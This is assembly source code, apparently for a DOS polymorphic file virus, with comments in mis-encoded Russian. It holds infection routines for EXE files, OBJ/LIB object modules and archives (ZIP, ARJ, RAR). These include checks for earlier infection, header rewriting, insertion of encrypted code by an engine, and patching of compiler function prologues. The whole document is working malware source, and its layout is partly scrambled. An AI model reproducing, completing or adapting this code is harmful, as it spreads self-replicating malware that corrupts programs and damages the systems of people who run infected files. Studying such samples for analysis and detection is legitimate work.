call beep ENDIF endm ;*************************************************************************** INCLUDE SF.INC ;\ INCLUDE FIND.INC ;| INCLUDE EXE.INC ;> ¨§ ¨á室-¨ª®¢ MS-DOS 3.30 INCLUDE PDB.INC ;| INCLUDE DPB.INC ;| INCLUDE DIRENT.INC ;| INCLUDE ARENA.INC ;/ ;*************************************************************************** INCLUDE STAR14T.INC INCLUDE ABSDISK.INC INCLUDE ARXHDRS.ASI INCLUDE SHMAC.INC INCLUDE CRC.ASI ;*************************************************************************** GLOBAL RND_INIT:near, \ RND_GET:near, \ randomizer RND_GET_THREE_BITS:near, \ RND_GET_BYTE:near ;*************************************************************************** ;*************************************************************************** RegWord ENUM R_AX, R_CX, R_DX, R_BX, R_SP, R_BP, R_SI, R_DI RegByte ENUM R_AL, R_CL, R_DL, R_BL, R_AH, R_CH, R_DH, R_BH secondbyte asgrbl RECORD RECORD M0D:2, REG:3, R_M:3 :1, :1, :1, :1, :1, :1, :1, :1 \ \ \ \ \ \ \ ;


ॣ¨áâàë -¥ ¨á¯®«ì§ã¥¬ë¥ ¤«ï à áè¨*஢ª¨ ¤«ï ª®-áâ -â

㪠§ ⥫ì -

è¨*à㥬®¥ á«®¢®

REG_GARBL_ALL = MASK REG_GARBL1 or \ ॣ¨áâàë MASK REG_GARBL2 or \ -¥ ¨á¯®«ì§ã¥¬ë¥ MASK REG_GARBL3 ; ¤«ï à áè¨*஢ª¨ REG_ENC_ALL = MASK REG_ENC or \ ॣ¨áâàë MASK REG_TMP1 or \ ¨á¯®«ì§ã¥¬ë¥ MASK REG_TMP2 ; ¤«ï à áè¨*஢ª¨ REG_ALL = MASK REG_INDEX or \ ¢á¥ ॣ¨áâàë (ªà®¬¥ SP) REG_ENC_ALL or \ REG_GARBL_ALL ; ;*current*not*used********************************************************** ENFLAGS RECORD EN_SAVE_REGS :1, \ á®åà -ïâì ॣ¨áâàë ¯¥à¥¤ à áè¨*஢ª®© EN_USE_INT :1, \ ¥-ª®¤¨âì ¯à¥àë¢ -¨ï EN_USE_CALL :1, \ ¥-ª®¤¨âì ¯à®æ¥¤ãàë ¨ JMP near EN_USE_JMPS :1, \ ¥-ª®¤¨âì ãá«®¢-ë¥ ¯¥à¥å®¤ë EN_INT_GARBL :1, \ ¬ «® «¥¢ëå ¨-áâàãªæ¨© ¢ à áè¨*஢騪¥ EN_RELOCATOR :1, \ ®¯à¥¤¥«ïâì ᢮¥ ¯®«®¦¥-¨¥ ¢ ¯ ¬ï⨠EN_BFR_GARBL :2 ;*************************************************************************** ENFLAGS_ARX = MASK EN_RELOCATOR or MASK EN_USE_INT or MASK EN_USE_JMPS or MASK EN_USE_CALL or (3 shl EN_BFR_GARBL) \ \ \ \ ;

;*************************************************************************** ;*« £¨ ¤«ï ¢¨àãá ¢ EXE* ©«¥ ENFLAGS_EXE = MASK EN_USE_INT or \ MASK EN_USE_JMPS or \ MASK EN_USE_CALL or \ (3 shl EN_BFR_GARBL) ; ;*************************************************************************** ENFLAGS_HDR = MASK EN_INT_GARBL or \ MASK EN_RELOCATOR or \ MASK EN_SAVE_REGS ;*************************************************************************** ;*« £¨ ¤«ï ¢¨àãá ¢ EXE* ©«¥ c podgruzkoi ENFLAGS_IXE = MASK EN_USE_JMPS or \ MASK EN_USE_CALL or \ MASK EN_RELOCATOR or \ MASK EN_SAVE_REGS or \ (2 shl EN_BFR_GARBL) ; ;*************************************************************************** ;*« £¨ ¤«ï ¢¨àãá ¢ OBJ* ©«¥ ENFLAGS_OBJ = MASK EN_INT_GARBL or \ MASK EN_SAVE_REGS or \ MASK EN_USE_CALL or \ MASK EN_RELOCATOR or \ (1 shl EN_BFR_GARBL) ; ;*************************************************************************** ;*« £¨ ¤«ï ¢¨àãá ¢ OBJ* ©«¥ ;ENFLAGS_OBJ = MASK EN_INT_GARBL or \ ; MASK EN_SAVE_REGS or \ ; MASK EN_RELOCATOR ;*************************************************************************** ;®¯ª®¤ë opNOP equ 90h opPUSHF equ 9Ch opINT equ 0CDh opCALL equ 0E8h opJMPN equ 0E9h opJMPS equ 0EBh opSEGCS equ 2Eh opSEGES equ 26h opRETN equ 0C3h opRETF equ 0CBh opJMPFAR equ 0EAh opMOV_AHimm equ 0B4h opPUSH_CS equ 0Eh opPUSHA equ 60h opPOPA equ 61h opJC equ 72h opJZ equ 74h opPOP_AX equ 58h opPUSH_AX equ 50h opCMP_AXimm equ 3Dh opCMP_ALimm equ 3Ch ;*************************************************************************** ;¬¨-¨¬ «ì-ë© ¨ ¬ ªá¨¬ «ì-ë© à §¬¥àë § à ¦ ¥¬ëå EXEè-¨ª®¢ MININFECTSIZE equ 400h ; 1k MAXINFECTSIZE equ 80000h ;512k ;*************************************************************************** INTERVAL_INFECT = 2 INCUB_TIME = 3 ;14 sec VIRUSSTACKSIZE TIMEMARKER SIZEMARKER equ 0D0h equ 1 equ 157d

SIZEMARKER_MOD equ 37d CRYPTLEVEL equ 50h ;¬ ªá¨¬ «ì-® ¢®§¬®¦-ë© (!) DOUBLEENCRYPT equ 80h HDRCRYPTLEVEL equ 4Fh EXECRYPTLEVEL equ 23h ;+DOUBLEENCRYPT IXECRYPTLEVEL equ 29h ARXCRYPTLEVEL equ 27h+DOUBLEENCRYPT OBJCRYPTLEVEL equ 1Fh IRP EXT, <ARX,EXE,IXE,OBJ,HDR> zmefl&EXT equ (&EXT&CRYPTLEVEL shl 8) or ENFLAGS_&EXT ENDM UNINIT equ 1111h ZIP_SIGN = 4B50h ARJ_SIGN = 60000d RAR_SIGN = 6152h HA_METHOD_STORED = 20H ARJ_METHOD_STORED = 0 ZIP_METHOD_STORED = 0 RAR_METHOD_STORED = 30h ZIP_LCL_ID = 403h ZIP_CNL_ID = 201h ZIP_END_ID = 605h CRLF equ <0Dh,0Ah> ;*************************************************************************** ;dword_shit struc ; lo dw ? ; hi dw ? ;ends dword_shit struc union lo dw ? struc l db ? h db ? ends ends hi dw ? ends ;*************************************************************************** ifInfJump macro whatest, execut extrn IfInfect&whatest:near ; lea di, execut call IfInfect&whatest endm ;*************************************************************************** probability_test macro variabl, glb_pr, go_to local __1 extrn variabl:byte call RND_GET_BYTE cmp ah, byte ptr ds:[variabl] jae __1 cmp al, glb_pr __1: jae go_to endm prALWAYS = -1 ;*************************************************************************** ENGBUFFER STRUC ; UNION STRUC ; zmeflags ENFLAGS ?

cur_cryptlevel ENDS zmefl ENDS datasize jmp_after_decrypt targetptr segm_IDT cJMP_patch nJMP_patch begin_sub end_of_jmp start_reg2 start_reg3 loop_top lastgarble lastchoose decryptor_size relocator_base reloff_1 reloff_2 value_J value_X value_Y useregs IRPC NR, 0123456 reg&NR ENDM

db dw dw dw dw db dw dw dw dw dw dw dw db db dw dw dw dw dw dw dw asgrbl

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

RegWord ?

ENDS ;*************************************************************************** ;all_memory_size_p=400h ;16k in memory :) all_memory_size_p=700h ;20k in memory :( HDRBUFSIZE = 22h hp equ (bp-80h)

WORKBUFFER STRUC UNION STRUC ;infect ARX _arx_crc _fnamestr _hafcount ENDS STRUC ;infect OMF _siz98 _posA0 _sizA0 _lib_dict_offset ENDS STRUC UNION STRUC ;func 4B _load_fname _load_array ENDS STRUC ;func 3F _rd_st_cnt _st_rd_off _beg_pos_lo ENDS ENDS UNION

dd db dw

? 12d dup (?) ?

dw dd dw dw

? ? ? ?

dw dw

? ?

dw dw dw

? ? ?

_saved_seek dd ? ;for restore header etc STRUC ;stealth int25 _start_sec dd ? _abs_read_drive db ? ENDS ENDS ENDS ENDS _host_arx_date _host_arx_time _beg_pos _pos98 _fisize _fioff _fnamesize _crthdr _last_infect_time _hook _close_on_error _save_sp _save_ss _after_goto _five_bytes _turn_name_crc _engdata _exehdr _dataencriptor _for_ret

; ;

dw ? ; ¤*â § à ¦ ¥¬®£® * ©« dw ? ; ¤*â § à ¦ ¥¬®£® * ©« dd ? ;use in "f_insert" dd ? dw ? dw ? dw ? db 40h dup (?) dw ? dw ? db ? ;if 1, doserror-> close file dw ? dw ? dw ? db 5 dup (?) dw ? ENGBUFFER ? db HDRBUFSIZE dup (?) dd CRYPTLEVEL dup (?) db ?

ENDS _hahdr _ziphdr _arjhdr _rarhdr _objhdr _libhdr _sfxhdr _shift_buffer

equ equ equ equ equ equ equ equ

_exehdr _exehdr _exehdr _exehdr _exehdr _exehdr _exehdr _exehdr

To_hp MACRO some_label some_label equ (hp+_&some_label&) ENDM To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp host_arx_date host_arx_time hook last_infect_time close_on_error after_goto lib_dict_offset hafcount saved_seek start_sec abs_read_drive beg_pos arx_crc load_fname load_array rd_st_cnt st_rd_off beg_pos_lo fnamestr

To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp

pos98 siz98 posA0 sizA0 fisize fioff fnamesize engdata crthdr exehdr save_sp save_ss five_bytes turn_name_crc hahdr ziphdr arjhdr rarhdr objhdr libhdr sfxhdr shift_buffer

PURGE To_hp include zurich.asi code segment byte public assume cs:code, ds:code, es:code, ss:code IFDEF USE_BEEP public beep beep proc call beep1 beep endp beep1 proc push mov out REPT 2 loop ENDM mov out pop ret beep1 endp ENDIF ends end

cx ax al, 3 61h, al $ al, 0 61h, al ax cx

;include include code segment public byte assume cs:code public Calculate_CRC public Calculate_CRC5 ;-+----------------------------------------------------------+;ds:si=ptr ;di=size ;return: cx:dx=crc32 ;-+----------------------------------------------------------+Calculate_CRC5:

mov di, 5 Calculate_CRC: cld push bx mov cx, -1 mov dx, cx DO xor ax, ax xor bx, bx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 DO shr bx, 1 rcr ax, 1 DOIF C xor ax, 08320H xor bx, 0EDB8H DONE dec dh CYCLE NZ xor cx, ax xor dx, bx dec di CYCLE NZ not dx not cx pop bx mov ax, dx ror ax, cl add ax, cx ret ;-+----------------------------------------------------------+ends end INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code

;.DATA public public public public public public

vir_heap, StealthName, start_data dataencriptor heap InfectTurn zip_h arj_h

;public five_bytes zip_h dw arj_h dw start_data: vir_heap: ZIP_SIGN, ZIP_LCL_ID, 14h ARJ_SIGN, 31Eh

WORKBUFFER ? dataencriptor dd CRYPTLEVEL dup (?)




StealthName db 80h dup (?) InfectTurn db 80h dup (?) pblabel continue21 db 11d dup (?) db ? ret_hook dd ? ret_sux dw ? public ret_hook public ret_sux ; public after_goto ;after_goto dw ?

heap: db 1800h dup (?) end_data: ;nameforinfect db 80h dup (?) ;CurDta mem_virus_end: ;data_size=end_data-begin_data ;all_memory_size_p equ (offset mem_virus_end+30h)/10h ends end code segment byte public assume cs:code, ds:code, es:code, ss:code public get_sft get_sft proc ;bx-handle ;es:di-ptr to sft push ax bx mov ax, 1220h int 2Fh mov bl, es:[di] mov ax, 1216h int 2Fh pop bx ax ret get_sft endp ends end code segment byte public assume cs:code, ds:code, es:code, ss:code public get_cur_time get_cur_time proc push ds xor ax, ax mov ds, ax mov ax, word ptr ds:[46Dh] pop ds ret get_cur_time endp ends end INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code STACKBASE equ 080h extrn restore_seek :near

extrn save_seek :near extrn seek_end :near extrn dosseek_bof :near extrn DOSCALL :near extrn DosCall_exc :near extrn NOSTL21NAMES :near extrn get_own_name extrn get_crc_just_fname ;extrn check_PROCESS_NAME :near ;extrn EXE_TEST_READ :near extrn start_data :near extrn dosclose :near extrn read_buf_22 :near ;public ;public ;public ;public ;public ;public ;public exe_test_read IfInfectName IfInfectHandle IfInfectBuf IfInfectNameCustom exe_test test_size

:near :near

;-+------------------------------------------------------------------------+pblabel IfInfectName ;ds:dx - filename ax - 3Dxx for open file mov ax, 3D40h ; open R/O file pblabel IfInfectNameCustom mov byte ptr cs:[ErrorRead], opCALL call DosCall_exc ; open file ; ¥á«¨ -¥ ®âªà®¥âáï - ®ç¥-ì ¯«®å® :( ;- ¤® ®¡ï§ ⥫ì-® ®âªàëâì (67h?) ; push bx xchg bx, ax call seek_end call test_size ; jnz ErrorRead

jz IfInfectHandle1 ErrorRead: call dosclose ; close file pop ax ret ;-+------------------------------------------------------------------------+-

pblabel IfInfectHandle mov byte ptr cs:[ErrorRead], 0B8h ;don't close this file IfInfectHandle1: MOVSEG ds, cs ;*****************test size

mov call jc rol jc call ; ; ; call call

ax, 4400h DosCall ErrorRead dl, 1 ErrorRead save_seek seek_end test_size

; IOCTL test for file/stream ;NDD: open 'CON' :) ;no file ;no file

; ;

jnz call call jc call

ErrorRead dosseek_bof read_buf_22 ErrorRead restore_seek


pblabel IfInfectBuf ;if PKZIP, NDD (ZF=1) - no stealth push ds dx call get_own_name call get_crc_just_fname pop dx ds jz ErrorRead call exe_test jnz ErrorRead ;test for infect mov ax, [exehdr.exe_CS] ;later to ss:[ExeCS] add ax, [exehdr.exe_par_dir] mov cx, 10h mul cx add ax, [exehdr.exe_SP] sub ax, STACKBASE-10h ;offset virus_start-10h ;ax - original size cmp ah, MININFECTSIZE/100h jb ErrorRead test al, 1 jnz ErrorRead ret ;IfInfectHandle endp ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+pblabel exe_test ;-+------- test for already infect -> ZF=1 if infect ;ZF=0 - no infected file ; mov ax, [exehdr.exe_SS] ; inc ax ; sub ax, [exehdr.exe_CS] ; DOIF Z mov al, [exehdr.exe_SS.h] sub al, [exehdr.exe_CS.h] cmp al, 17h DOIF BE mov ax, [exehdr.exe_SP] and ax, 0FFF0h sub ax, STACKBASE DONE ret ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+pblabel test_size ;ax-(file_size and 0FFFFh) ;-+------- test for already infect -> ZF=1 if possible infect ;ZF=0 - no infected file ;for length with virus push ax cx dx xor dx, dx mov cx, SIZEMARKER div cx cmp dx, SIZEMARKER_MOD pop dx cx ax ret

;-+------------------------------------------------------------------------+ends end ; ; ; ; ; BUG LIST 1. no infect ARJSFX 2. no -AV in ZIP 3. no support RAR 1.30 4. no support long names

INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code STACKBASE equ 080h ;**************************************************************************** extrn DOSCALL :near extrn DOStruncate :near extrn rt_err :near extrn vir_heap :near extrn EXE_TEST :near extrn SEEK_END :near extrn TEST_SIZE :near extrn START_DATA :near extrn CALC_HDR_PAGES :near extrn DOSSEEK :near extrn START_DATA :near extrn DOSSEEK_BOF :near extrn ZME_crypt :near extrn dosseek_cur :near extrn DosCall_exc :near extrn SHIT_AX :near extrn get_sft :near extrn dostell :near extrn heap :near extrn DosSeek_all :near extrn dosseek_cur_neg_dx :near extrn dosseek_cur_neg_ax :near extrn dosseek_cur_cx_1 :near extrn dosseek_cur_cx_0 :near extrn dosseek_cx_0 :near extrn arj_h :near extrn zip_h :near extrn dosread :near extrn read_buf_22 :near extrn read_buf_cx :near extrn DosWrite_shbuf_22 :near extrn DosWrite_shbuf :near extrn DosWrite :near extrn dosclose :near extrn doswrite_from_heap :near extrn _____ :byte extrn Calculate_CRC :near extrn get_cur_time :near extrn get_crc_just_fname :near extrn InfectTurn :byte extrn crypt_exe_header :near ;**************************************************************************** ;**************************************************************************** pblabel InfectName

MOVSEG ds, cs lea dx, InfectTurn call get_crc_just_fname jz $ret$ cmp ax, [turn_name_crc] je $ret$ mov [turn_name_crc], ax mov ax, 3D12h call DosCall_exc xchg bx, ax push bx call InfectHandle pop bx jmp dosclose ;**************************************************************************** ;**************************************************************************** pblabel InfectHandle ;ret ; cld MOVSEG ds, cs MOVSEG es, cs call no_freq_proc mov ax, 5700h call doscall mov [host_arx_date], dx ; dx = date mov [host_arx_time], cx ; cx = time mov ah, 2Ah ; ¯®«ãç¨âì ⥪ãéãî ¤ âã ¨ ...... call doscall xor dx, [host_arx_date] ;-¥ § à ¦ âì * ©«ë í⮩ -¥¤¥«¨ and dx, 18h ;week only ; ¨áª«. ᮧ¤ ¢ ¥¬ë¥ * ©«ë (?) DOIF NZ call arxtest DONE mov cx, [host_arx_time] xor cl, 1 ;change time for 1F mov dx, [host_arx_date] mov ax, 5701h jmp doscall_exc ;**************************************************************************** ;**************************************************************************** pblabel arxtest ;close file(?) call RND_INIT mov ax, 4400h ; IOCTL test for file/stream call DosCall_exc cmp dl, 80h DOIF NC $ret: pop ax ;don't restore file time $ret$: retn DONE and dl, 0Fh inc dx ;1=a, 3=C ;IFDEF RELIZ ; cmp dl, 3 ;ELSE ; cmp dl, 4 ; jbe $ret ; no flop & C: ;ENDIF ; jc $ret ; no flop ;int 2bh cmp dl, 3 ;<<debug

jbe $ret ;<<debug $BEEP$ ;cmp dl, 2 ;<<debug ;je $ret ;<<debug ;cmp dl, 1 ;<<debug ;je $ret ;<<debug call get_sft cmp es:[di.sf_name.9], 'V' ;*.ov? je $ret inc di DOIF NZ inc di sto_word 2012h sto_byte 20h DONE movseg es, ss

push bx ds mov ah, 32h ;get DPB call DosCall ;test for RAM-DISK cmp byte ptr ds:dpb_FAT_count[bx], 1 ;RAM-DISK have one FAT DOIF NE mov ah, 36h ;get Disk space call DosCall ;BX - free clusters and bh, bh ;BX < 100h DONE ;no_free_space2: ;8k*100h = 2Mb pop ds bx ;.5k*100h = 128k jz $ret ;int 2bh ; mov ; mov

es:[(di-1).sf_mode.l], 12h es:[(di-1).sf_attr], 20h

;mode +2 ;attr +4

call dosseek_bof pblabel second_tst call read_buf_22 cmp al, HDRBUFSIZE jne __ret mov crcpass, 8 DO shr crcpass, 1 DOIF E ;CPU conveir __ret: ret DONE lea si, [vir_heap._exehdr] mov di, 2 ;4,2,1 crcpass equ byte ptr ($-2) call calculate_crc lea di, hdrs mov cx, (offs-hdrs)/2 repne scasw CYCLE NZ push word ptr [di+offs-hdrs-2] cmp cx, (offs-endarxex)/2 ;<<< DOIF AE ;zip, arj, rar ;*[create & infect file]**************************************************** call RND_GET_BYTE lea di, [heap]


sto_byte opJMPN stosw mov ax, zmeflARX call ZME_crypt ;;ret CX-SIZE lea si, [heap] mov word ptr [fioff] , si mov [si+1], ax ;<com call RND_GET and ax, 0FFFh ;<<<<<<<<<<, push ax add ax, 3 ;<com add cx, ax

mov word ptr [fisize], cx ;<all pop ax call SHIT_AX ;create & infect carrier mov di, [fisize] call Calculate_CRC mov [arx_crc.lo], cx mov [arx_crc.hi], dx ;*[generate name]************************************************************ ;int 2bh ;$BEEP$ call RND_GET_Three_Bits and al, not 4 add al, 2 mov cx, ax add al, 4 mov word ptr [fnamesize], ax lea di, [vir_heap._fnamestr] DO DO call RND_GET_BYTE cmp al, 'V'-'A' ; ('Z'-'A') CYCLE A add al, 'A' stosb CYCLE LU sto_two_byte '.', 'C' sto_two_byte 'O', 'M' ;**************************************************************************** DONE MOV [pos98.hi], -1 $$ret: retn ;**************************************************************************** ; ;*Å**[process EXE/SFX]*****************************************************Å* pblabel process_exe mov ax, [exehdr.exe_pages] mov cx, [exehdr.exe_len_mod_512] jcxz ExactPage dec ax pblabel ExactPage mov dx, 200h mul dx add cx, ax xchg cx, dx call DosSeek call second_tst cmp di, offset offs-2 jb $$ret

;*Å**[process EXE]*********************************************************Å* ;newexetest ; probability_test prblt_infct_EXE, 0f0h, error_exit ;**************************************************************************** ; INFECT exe ;**************************************************************************** ;int 2bh call seek_end ;§¤¥áì ®âá¥ïâì ¬ «¥-쪨¥ * ©«ë cmp ah, MININFECTSIZE/100H jb $$ret ;................................ call test_size ;proc;ax-(file_size and 0FFFFh) jz $$ret call dosseek_bof call read_buf_22 call exe_test jz $$ret ;already infect ;; -¥ § à ¦ âì EXE * ©«ë ¡¥§ ५®ª¥©è¥-®¢, ;¨ ¥á«¨ ५®ª¥©è¥-®¢ ®ç¥-ì ¬-®£® (?) cmp byte ptr [exehdr.exe_rle_count], 1 ;0 or 1 relocations jb $$ret ;................................ ;; ¥á«¨ ¤«¨- § £à㦠¥¬®© ç á⨠exeè-¨ª ¡®«ìè¥ ... 32k = 40h pages ;test for pklite(etc) & PASS E cmp word ptr [exehdr+18h], 40h ; jae standart_exe_infect2 mov al, byte ptr [exehdr+1Eh] cmp al, 'P' ;PKLITE ? je standart_exe_infect2 cmp al, 20h ;07, 20h -WATCOM je standart_exe_infect2 cmp al, 7 ;07, 20h -WATCOM je standart_exe_infect2 cmp byte ptr [exehdr.exe_pages], 40h jbe standart_exe_infect2 pblabel insert_exe_infect mov dx, [exehdr.exe_par_dir] shl dx, 4 jc standart_exe_infect2 ;if header>64k call dosseek_cx_0 lea dx, [heap] mov cx, 1800h ;6k call DosRead xchg cx, ax ;scan lea si, [heap+2] DO mov di, 3 dec si dec si push cx call calculate_crc ;<add si,3 cmp_ax_CRC32w <55h, 8Bh, 0ECh> ;push bp; mov bp,sp ;< BORLAND je exfnd cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND je exfnd pblabel cont_search pop cx ; CYCLE LU pblabel standart_exe_infect2

jmp standart_exe_infect pblabel exfnd sizeof_part1=54h push si mov cx, sizeof_part1 DO lodsb push cx lea di, endd mov cx, 6 repne scasb pop cx ; jz nff ;nff: DOIF Z pop si jmp cont_search DONE CYCLE LU pop si ;$BEEP$ extrn ffsize_lo:word extrn ffsize_hi:word call seek_end mov ffsize_lo, ax mov ffsize_hi, dx mov dx, [exehdr.exe_par_dir] shl dx, 4 add dx, si sub dx, (offset heap)+3 call dosseek_cx_0 lea dx, [heap+sizeof_part2] ; to heap+sizeof(part2) mov cx, sizeof_part1 call DosRead call dosseek_cur_neg_ax ;§¤¥áì part 1 extrn part1:near extrn part2:near ;¢ë¡®à ªà¨¯â®¢é¨ª ¤«ï part2 (?) extrn crypt_part2:byte call RND_GET mov crypt_part2, al mov crypt_old1, ah lea dx, part1 mov cx, sizeof_part1 call DosWrite call seek_end sizeof_part2 = 70h ;«ãçè¥ çâ®-â® ¢à®¤¥: ; part2 -> heap ; encode virus to heap+sizeof(part1)+sizeof(part2) lea di, [heap+sizeof_part1+sizeof_part2] mov ax, zmeflIXE call ZME_crypt ;;ret CX-SIZE extrn ffentrvir:word extrn crypt_old1:byte mov ffentrvir, ax ;? lea si, part2 lea di, [heap] push cx mov cx, sizeof_part2 DO

lodsb sub stosb CYCLE LU mov cx, mov al, DO sub inc CYCLE LU pop cx ; crypt part2

al, crypt_part2

sizeof_part1 crypt_old1 byte ptr [di], al di

add cx, (sizeof_part1+sizeof_part2) call doswrite_from_heap call write_sizemarker pblabel error_exit_2 pop ax pblabel endd db 0C3h db 0CBh db 0CFh db 09Ah db 0CAh db 0C2h pblabel no_freq_proc call get_cur_time sub ax, [last_infect_time] cmp ax, INTERVAL_INFECT ;0.5 ¬IFDEF RELIZ jl error_exit_2 ;<<<<<<<<<debug ENDIF ret ; ret

; DONE pblabel standart_exe_infect call seek_end ;dx:ax - file size test al, 1 jnz endd ;-¥ § à ¦ âì EXE* ©«ë á -¥ç¥â-®© ¤«¨-®© cmp dl, 6 ;6*64k=384k 4*64k=256k jae endd ;file too big, infect him other method (?) ;**************************************************************************** ; INFECT ;**************************************************************************** ;write old header to EOF push ax dx ;dx:ax - file size call crypt_exe_header mov cx, exe_rle_table-exe_len_mod_512 ;14h call doswrite_from_heap pop dx ax mov and add mov add and cx, ax cx, 0Fh cl, STACKBASE ;offset virus_start-10h [exehdr.exe_SP], cx ax, VIRUSSTACKSIZE-10h ax, not 0Fh ;paragraph

push mov mov call pop mov div sub sub mov add mov call add

ax dx cx, dx dx, ax dosseek dx ax cx, 10h cx ;dx:ax = ax, [exehdr.exe_par_dir] ax, VIRUSSTACKSIZE/10h [exehdr.exe_CS], ax ah, cl [exehdr.exe_SS.h], ah ;64k RND_GET_THREE_BITS [exehdr.exe_SS.h], al ;

lea di, [heap] ;to heap mov ax, zmeflEXE call ZME_crypt ;;ret CX-SIZE add ax, VIRUSSTACKSIZE mov [exehdr.exe_IP], ax call doswrite_from_heap ;write encrypted virus call write_sizemarker call seek_end ;get file size mov di, [exehdr.exe_pages] call calc_hdr_pages ;㬥-ìè¨âì MinMem - à §¬¥à ®¢¥à«¥ï (?) sub di, [exehdr.exe_pages] ;®âà¨æ. shl di, 5 add [exehdr.exe_min_BSS], di DOIF NC mov [exehdr.exe_min_BSS], 0 DONE pblabel write_exehdr call dosseek_bof mov cx, 1Ch jmp DosWrite_shbuf ;write new header

;**************************************************************************** ;*Å**[process OBJ]*********************************************************Å* pblabel cycle_o mov dx, [objhdr.recsize] sub dx, HDRBUFSIZE - 3 sbb cx, cx call dosseek_cur ;_cx_0 call read_buf_22 ; cmp al, HDRBUFSIZE jne obj$ret1 pblabel process_obj ;test size ;int 2bh cmp [objhdr.rectype], MODEND je obj$ret1 ;-+-[process 98]-------------+cmp [objhdr.rectype], SEGDEF PASS NE CMP [pos98.hi], -1 DOIF E cmp word ptr [objhdr.recsize], 7 jne obj$ret1 test byte ptr [objhdr.segattr], MASK SA_B or MASK SA_P jnz obj$ret1


test test

byte ptr [objhdr.segattr], 0A0h ;borland windows library is WORD alignment byte ptr [objhdr.segattr], MASK SA_A

DOIF Z obj$ret1: stc ret DONE call dostell sub ax, HDRBUFSIZE sbb dx, 0 mov [pos98.lo], ax mov [pos98.hi], dx mov ax, word ptr [objhdr.segsize] cmp ax, 0Ah jb obj$ret cmp ah, 3 ja obj$ret mov [siz98], ax DONE ;-+--------------------------+pblabel process_A0 ;-+-[process A0]-------------+cmp [objhdr.rectype], LEDATA jne cycle_o rzheap equ <heap+80h> ;read (rzheap+80h, [objhdr.recsize]-4) mov ax, HDRBUFSIZE -6h call dosseek_cur_neg_ax sub ax, 6h sbb dx, 0 mov [posA0.lo], ax mov [posA0.hi], dx lea dx, [rzheap] mov di, dx mov cx, [objhdr.recsize] sub cx, 4h call dosread push bx ;save file handle push ax ;size A0 before infect add di, ax push di ;encode virus (rzheap+[objhdr.recsize]-4) mov ax, zmeflOBJ call ZME_crypt ;;ret CX-SIZE ; mov [_____], ah ; mov si, VIRUSSTACKSIZE ; mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size ; mov [engdata.datasize], cx ; mov [engdata.targetptr], di ; rep movsb ;copy data ; mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size ; xor ax,ax xchg bx, ax ; entry virus

;¬®¦¥â ®áë¯ âìáï, ¥á«¨ 㢥«¨ç¨âì à §¬¥à ¢¨àãá . ᥩç á 7000 ;- ¤®, çâ®¡ë ¡ë«® 9 ¡«®ª®¢.? ;mov ax, cx ;add ax, 3DFh ;dec ax ;cwd ;mov si, 3E0h ;div si

;inc ax ;cwd ;mov si, 3E9h ;mul si mov ax, di sub ax, offset rzheap cwd mov si, 3E0h div si mov dl, 7 mul dl add ax, cx and ax, 0Fh sub cx, ax add cx, 10h pop di add di, cx mov word ptr [fisize], cx ;scan pop push lea DO

cx ;size A0 before infect di ;ptr to end A0 & virus si, [rzheap+2]

mov di, 3 dec si dec si push cx call calculate_crc ;<add si,3 pop cx ; cmp_ax_CRC32w <55h, 8Bh, 0ECh> ;push bp; mov bp,sp ;< BORLAND je fnd cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND je fnd cmp_ax_CRC32w <52h, 89h, 0C2h> ;push dx; mov dx,ax ;< WATCOM je fnd CYCLE LU pop ax ;error_exit_2: pop ax obj$ret: stc ;CF - error flag for process_lib ret fnd: mov byte ptr [si-3], opCALL lea ax, [bx-3] add ax, cx mov word ptr [si-2], ax ;, 00 ;(cx+bx-3) pop dx ;ptr to end A0 & virus pop bx ;restore file handle ;rezka lea si, [rzheap] lea di, [heap] DO ;@repeat: sto_byte LEDATA mov ax, dx sub ax, si MIN ax, 3E0h push ax ;block size add ax, 4 stosw sto_byte 1 mov ax, si

sub ax, offset rzheap stosw pop cx ;/----crc-------------------\ add al, byte ptr [di-4] add al, byte ptr [di-5] add al, ah add al, LEDATA+1 DO add al, byte ptr [si] movsb CYCLE LU neg al stosb ;\--------------------------/ cmp si, dx CYCLE B ; jb @repeat sub push di, (offset heap)+3E7h di ;razmer wtorogo finserta

;seek_pos(posA0)???? mov dx, [posA0.lo] mov cx, [posA0.hi] call dosseek ;write (heap, [objhdr.recsize]+3) mov cx, [objhdr.recsize] add cx, 3 call doswrite_from_heap ;f_insert (heap+[objhdr.recsize], 3E7h-([objhdr.recsize]+3)) mov si, ax add si, dx mov cx, 3E7h sub cx, ax add di, cx mov [lib_dict_offset], di ; adc [lib_dict_offset.hi], 0 push cx call dostell pop cx call f_insert ;read (objhdr, 22h) ;---- skip FIXUPP if present call read_buf_22 cmp [objhdr.rectype], FIXUPP DOIF E sub ax, 3 sub ax, [objhdr.recsize] DONE call dosseek_cur_neg_ax ;f_insert (heap+3E7h, virrsize-3E7h) lea si, [heap+3E7h] pop cx ;virrsize-3E7h call f_insert ;-process-segment-----------mov dx, [pos98.lo] mov cx, [pos98.hi] call dosseek call read_buf_22 call dosseek_cur_neg_ax mov ax, [fisize] add word ptr [shift_buffer.segsize], ax ;/----crc-------------------\

mov cx, [objhdr.recsize] lea si, [vir_heap._objhdr] inc cx lodsb DO add al, byte ptr [si] inc si CYCLE LU neg al mov byte ptr ds:[si], al ;\--------------------------/ jmp DosWrite_shbuf_22

